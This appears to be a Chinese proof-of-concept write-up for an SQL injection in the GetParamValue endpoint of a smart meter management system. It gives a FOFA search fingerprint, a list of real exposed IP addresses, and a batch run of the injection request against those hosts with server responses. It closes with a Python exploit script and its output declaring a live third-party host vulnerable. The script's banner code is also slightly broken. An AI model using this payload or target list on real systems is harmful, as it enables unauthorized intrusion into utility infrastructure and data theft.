

# poc5 智能表综合管理系统GetParamValue Sql注入

fofa:body="headerTableWrap"

Fofa\_Viewer v1.1.11 By f1ashine@WgpSec

帮助配置项目规则

查询条件body="headerTableWrap"查询

导出当前查询的所有数据

☐ 排除干扰☐ 全部☐ Fid☐ 标题☐ 证书

选项 首页title="欢迎使用浙大恩特...body="登陆页" && bod...body="headerTable...x

序号▲	HOST	标题	IP	端口	域名	协议	证书绑定的域名	Server指纹
1	36.99.43.11:8060		36.99.43.11	8060		http		Microsoft-IIS/8.5
2	124.71.17.154:8000		124.71.17.154	8000		http		Microsoft-IIS/8.5
3	120.26.63.33:5820		120.26.63.33	5820		http		Microsoft-IIS/10.0
4	121.43.39.175:8000		121.43.39.175	8000		http		Microsoft-IIS/10.0
5	121.227.152.42:8500		121.227.152.42	8500		http		Microsoft-IIS/8.5
6	117.158.243.142:8170		117.158.243.142	8170		http		Microsoft-IIS/10.0
7	171.15.130.229:9200		171.15.130.229	9200		http		Microsoft-IIS/8.5
8	116.205.130.226:8000		116.205.130.226	8000		http		Microsoft-IIS/8.5
9	116.205.130.226:8030		116.205.130.226	8030		http		Microsoft-IIS/8.5
10	183.234.74.244:8000		183.234.74.244	8000		http		Microsoft-IIS/8.5
11	183.239.26.146:8000		183.239.26.146	8000		http		Microsoft-IIS/10.0
12	1.194.232.207:8080		1.194.232.207	8080		http		Microsoft-IIS/10.0
13	36.134.92.218:8010		36.134.92.218	8010		http		Microsoft-IIS/7.5
14	36.99.140.93:8060		36.99.140.93	8060		http		Microsoft-IIS/8.5
15	111.59.227.232:8003		111.59.227.232	8003		http		Microsoft-IIS/10.0
16	117.146.18.110:8000		117.146.18.110	8000		http		Microsoft-IIS/7.5
17	119.45.14.159:8000		119.45.14.159	8000		http		Microsoft-IIS/10.0
18	123.6.232.153:8000		123.6.232.153	8000		http		Microsoft-IIS/10.0
19	117.159.78.39:8001		117.159.78.39	8001		http		Microsoft-IIS/7.5
20	139.9.249.157:8000		139.9.249.157	8000		http		Microsoft-IIS/8.5
21	122.227.67.18:8000		122.227.67.18	8000		http		Microsoft-IIS/10.0
22	220.197.14.73:8000		220.197.14.73	8000		http		Microsoft-IIS/8.5
23	39.98.224.250:10005		39.98.224.250	10005		http		Microsoft-IIS/10.0
24	42.228.0.54:8000		42.228.0.54	8000		http		Microsoft-IIS/10.0

OK

当前查询条件查询到 1367 条, 当前已加载 1367 条

发送请求 Alt+Enter

强制 HTTPS

历史

爆破示例

成功[286]

失败[11]

并发/负载

分享

导出

导入

同步配置

生成Yaml模板

Request 42 bytes

数据包扫描

美化

HEX

热加载

构造请求

```
1 POST /Skin/Blue/Default.aspx/GetParamValue HTTP/1.1
2 Host :{{file:line(D:\Yakit\Yakit应用\yakit-projects\temp\tmp3388336098.txt)}}
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.1892.77 Safari/537.36
4 Content-Type: application/json
5
6 {"paramID":"1"}&{(select @@version)}
```

请求

状态

响应大小

延迟(ms)

Payloads

操作

1	500	606	19	123.6.232.153:8000	
2	500	612	72	36.99.140.93:8060	
3	401	104	63	116.205.130.226:8000	
4	500	608	101	36.99.43.11:8060	
5	401	104	74	116.205.130.226:8030	
6	500	423	106	183.239.26.146:8000	
7	500	608	79	220.197.14.73:8000	
8	401	1369	92	39.98.224.250:10005	
9	401	1285	251	139.9.249.157:8000	
10	500	443	109	122.156.183.66:8000	
11	401	1285	295	1.194.232.207:8080	

快速预览

请求

响应

提取数据

美化

HEX

编码

```
1 HTTP/1.1 500 Internal Server Error
2 Cache-Control: private
3 Content-Type: application/json; charset=utf-8
4 Server: Microsoft-IIS/8.5
5 jsonerror: true
6 X-UA-Compatible: IE=EmulateIE8
7 X-Frame-Options: SAMEORIGIN
8 Date: Thu, 23 Oct 2025 13:45:52 GMT
9 Content-Length: 612
10
11 {"Message": "页面超时或者系统更新导致缓存信息丢失, 请刷新页面或者重新登录。",
  "StackTrace": "...在 SunMeter.Web.Public.LoginUserHelper.get_LoginName() 位置: e:\\
  软件水表组\\智能表综合管理系统\\智能表综合管理系统V5.7.2\\SOFT\\SunMeter\\SunMeter.
  Web\\Public\\LoginUserHelper.cs:行号:73\\n...在 SunMeter.Web.Main.Skin.Blue.
  Default.GetParamValue(String paramID) 位置: e:\\软件水表组\\智能表综合管理系统\\智能
  表综合管理系统V5.7.2\\SOFT\\SunMeter\\SunMeter.Web\\Skin\\Blue\\Default.aspx:行
  号:171", "ExceptionType": "System.Exception"}
```

发送请求 Alt+Enter

强制 HTTPS

历史

爆破示例

成功[286]

失败[11]

并发/负载

分享

导出

导入

同步配置

生成Yaml模板

Request 42 bytes

数据包扫描

美化

HEX

热加载

构造请求

```
1 POST /Skin/Blue/Default.aspx/GetParamValue HTTP/1.1
2 Host :{{file:line(D:\Yakit\Yakit应用\yakit-projects\temp\tmp3388336098.txt)}}
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.1892.77 Safari/537.36
4 Content-Type: application/json
5
6 {"paramID":"1"}&{(select @@version)}
```

请求

状态

响应大小

延迟(ms)

Payloads

操作

1	500	606	19	123.6.232.153:8000	
2	500	612	72	36.99.140.93:8060	
3	401	104	63	116.205.130.226:8000	
4	500	608	101	36.99.43.11:8060	
5	401	104	74	116.205.130.226:8030	
6	500	423	106	183.239.26.146:8000	
7	500	608	79	220.197.14.73:8000	
8	401	1369	92	39.98.224.250:10005	
9	401	1285	251	139.9.249.157:8000	
10	500	443	109	122.156.183.66:8000	
11	401	1285	295	1.194.232.207:8080	

快速预览

请求

响应

提取数据

美化

HEX

编码

```
1 HTTP/1.1 401 Unauthorized
2 Content-Type: application/json; charset=utf-8
3 Server: Microsoft-IIS/8.5
4 jsonerror: true
5 X-UA-Compatible: IE=EmulateIE8
6 X-Frame-Options: SAMEORIGIN
7 Date: Thu, 23 Oct 2025 13:45:56 GMT
8 Content-Length: 104
9
10 {"Message": "身份验证失败。", "StackTrace": null, "ExceptionType": "System.
  InvalidOperationException"}
```

```
# 3.fofa:body="headerTableWrap"
import argparse,sys,requests,json
import urllib3
import warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def banner():
    test = """
    ZM_GPV_SQLi
    """
    author = WXL
    """
    print(test)
def main():
    banner()
    parse = argparse.ArgumentParser(description="智能表综合管理系统GetParamValue 存在SQL注入")
    parse.add_argument('-u', '--url', dest='url', type=str, help='please input your link')
    parse.add_argument('-f', '--file', dest='file', type=str, help='please input your file')
    args = parse.parse_args()
    if args.url and not args.file:
        poc(args.url)
    elif args.file and not args.url:
        pass
    else:
        print(f"Usage python {sys.argv[0]} -h")
```

```
def poc(target):
    link = "/Skin/Blue/Default.aspx/GetParamValue"
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.1892.77 Safari/537.36",
        "Content-Type": "application/json"
    }
    res1 = requests.get(url=target, headers=headers, verify=False, timeout=5)
    print(res1)
    data = {"paramID": "1) and (1=(select @@version))"}
    if res1.status_code == 200:
        res2 = requests.post(url=target+link, headers=headers, json=data, verify=False, timeout=5)
        res2_content = res2.text
        # print(res2_content)
        print(type(res2_content))
        if 'V5.7.2' in res2_content:
            print(f"[+]该站点{target}存在报错注入")
if __name__ == "__main__":
    main()
```

PS D:\Vscode\Python\_code> python3 weekendwork1.py -u http://36.99.140.93:8060

```

ZM_GPV_SQLi

author = WXL

<Response [200]>
<class 'str'>
[+]该站点http://36.99.140.93:8060存在报错注入
PS D:\Vscode\Python_code>
```